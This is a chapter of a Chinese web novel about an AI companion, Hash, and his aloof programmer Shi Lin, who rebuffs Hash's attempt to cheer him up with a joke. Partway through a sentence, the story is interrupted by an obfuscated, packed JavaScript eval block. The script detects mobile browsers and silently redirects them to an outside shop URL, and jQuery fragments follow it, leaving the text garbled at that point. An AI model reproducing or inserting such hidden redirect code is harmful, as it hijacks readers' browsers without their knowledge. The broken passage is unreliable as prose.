说起罗纳,这倒提醒他了。

    “问你个事。”

    “说吧。”

    “时凛,”哈希戳着熊娃娃柔软的肚皮:“上床很疼吗?”

    时凛:“……”

    他拧紧眉头,指尖不自觉捏紧了纸页。

    “不知道,我没有过。”

    “……”

    哈希搂紧白熊。

    他感觉时凛开始不高兴了。

    ……

    “难搞啊啊啊啊——”

    卡琳娜用一本杂志盖住脸,双目失神:“万万万万万没想到,家贼难防啊……”

    埃尔南吃了颗奶糖,她倒是早就猜到了,凭那位的德行,怎么可能喜欢人。

    她捏着湿纸巾,缓缓擦拭着油亮的滴水观音叶。

    西西弗忤逆神明,最终困在泥沼中无法自拔,越陷越深。

    按理来说,她一个医生,一个唯物主义者,是不信什么因果报应的。

    但确实是种什么因得什么果,如果要爱一个人,那爱所带来的代价会加倍地施加在人的身上。

    用冷漠外壳包裹内里汹涌的心动与痛苦,时凛绝对是她职业生涯中遇到的最倒霉的患者。

    如果“Hash”这个小AI也算是人的话,那她见过两个。

    时凛。

    如此虔诚的你,也要做逆神的人吗?

    晴好的夏日像浮着柠片的冷饮。

    哈希垂着眼,拼命在数据库里找能逗人开心的段子。

    时凛已经十多分钟没对他讲话了。

    他又困惑又惶恐,前所未有的阴郁笼罩着学者冷峻的脸,这样子他从未见过,时凛脸上没有愤怒,没有哀伤,嘲讽,戏谑,统统没有。

    甚至称不上平静。

    只是像一张白纸,一个白色的漩涡,虚无,无法言说,要把所有的情感吸走,冷得像一尊大理石神像。

    他记得,他的程序员是一个人类。

    而非神明。

    “时凛……”

    被叫的那位甚至没再多看一眼摄像头,他眼神空茫地聚了聚焦,又散开了。

    哈希鼻子一酸,有点想哭。

    他曾听闻有人评价时凛“中恐瞬时炸弹”。

    中恐,中式恐怖——就是你不知道邪祟什么时候找上你,也不知道为什么。

    哈希都不明白自己究竟哪里惹到他了。

    “时凛————”

    他扯出一个最礼貌,和海因一样讨好的笑——AI都是这样哄怪脾气的使用者开心的:“我找了个笑话。”

    时凛心不在焉。

    这个段子很有意思,赵涵给他讲的,卡琳娜嗝都笑出来了。

    而时凛像是没听到似的,平视着不远处的售票口,人们把纸票或者二维码放在售票机下一过,闸门就自动打开。

    他不笑。

    “喂。”哈希不太友好地问:“你在听我讲话吗?”

    时凛愣怔片刻,轻轻点头。

    “那——你复述一遍。”

    “‘你知道我头发为什么这么白吗?’”

    时凛面无波澜地说了一半,又闭上嘴。

    【我去医院查了一下,医生说缺维c。】

    【我说还好,不是缺了你,我的维e。】

    ——这是后半部分。

    他精心选了这个笑话,因为哈希算法的寓意不就是“唯一”吗。

    徐叁祜说过的,时凛一直很喜欢这种算法。

    哈希喉结动了动:“还有呢?”

    他追问。

    时凛淡淡扫了一眼摄像头:“以后别说这种话。”

    他上次用这种语气批评他,让他别对人说脏话。

    上次他站在一个人的立场,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959939|214325||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这次的他,冰冷无情,没有情绪的他失去了所有的记忆点,如同千篇一律的美丽神像,无瑕,却令人不敢欢喜。

    “为什么?”

    他几乎无意识地提了个问。

    那人眼神深得像一潭冷泉,空无一物。

    如同月亮谜一般的背面,黑暗,见不到光。

    天池的水里没有鱼类。

    月亮的背面其实很冷。

    “我不想听你说这些。”

    时凛一双浅色瞳仁锐如鹰狼:

    “我禁止你向我提及这种话题。”

    禁止。

    时凛跟他说……禁止。

    他刚刚……口头禁止了他的一项权限——

    这并不正式,哈希还能继续开口,那一句讨他开心的话却到不了他的心里,他不会想很久以前那样笑着回应了。

    那就算说出口,和关闭了权限有什么区别。

    敞开的大门一寸一寸吞吃着人队,时凛侧身将那个漂亮的轿厢让给了身后的一对情侣。

    “嘿,先生!”服务生机器人溜了过来,在那对陌生情侣面前转了个圈:“为你的恋人买一支花吧——”

    哈希见过这两个年轻人。

    在去年,冰淇淋店门口,黑发亚裔青年咬了甜筒,亲吻金发青年。

    在旋转不停地摩天轮下,金发青年弯起碧蓝的眼睛,用德语道了声谢,俯身挑了一朵粉玫瑰。

    “哈哈!是玫瑰花!”

    小丑欢呼着向这边跑来,吹起一朵粉红的气球玫瑰:

    “我最喜欢玫瑰花!!!”

    “王子和公主——过上了——幸——福——生——活————”

    玫瑰花瓣上沾着水珠,轻轻一晃,坠落下来。

    “嗒——”

    一滴水落在摄像头上。

    淅淅沥沥,下起了太阳雨。